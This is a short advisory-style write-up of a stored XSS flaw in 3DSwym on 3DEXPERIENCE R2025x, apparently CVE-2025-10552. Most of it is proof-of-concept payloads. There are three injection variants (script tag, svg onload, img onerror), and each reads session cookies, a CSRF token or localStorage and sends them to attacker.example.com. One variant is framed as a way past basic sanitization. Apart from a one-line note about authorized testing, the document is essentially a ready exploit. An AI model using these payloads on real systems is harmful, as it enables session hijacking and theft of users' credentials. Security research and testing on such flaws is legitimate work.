A stored Cross-site Scripting (XSS) vulnerability affecting 3DSwym in 3DSwymer on Release 3DEXPERIENCE R2025x allows an attacker to execute arbitrary script code in user's browser session.
The following code is for security research and authorized testing only.
python
<!-- Stored XSS PoC for CVE-2025-10552 - 3DSwym in 3DEXPERIENCE R2025x -->
<!-- Attacker injects the following payload into a 3DSwym post/comment/wiki field -->
<script>
// Steal session cookie and exfiltrate to attacker-controlled server
var sessionToken = document.cookie;
var csrfToken = document.querySelector('meta[name="_csrf"]') ? document.querySelector('meta[name="_csrf"]').content : '';
var img = new Image();
img.src = 'https://attacker.example.com/steal?cookie=' + encodeURIComponent(sessionToken) + '&csrf=' + encodeURIComponent(csrfToken);
</script>
<!-- Alternative payload using event handler to bypass basic sanitization -->
<svg onload="fetch('https://attacker.example.com/exfil',{method:'POST',body:JSON.stringify({cookies:document.cookie,url:location.href,local:localStorage})})">
</svg>
<!-- Alternative payload using img tag with onerror -->
<img src=x onerror="var x=new XMLHttpRequest();x.open('GET','https://attacker.example.com/log?d='+btoa(document.cookie));x.send();">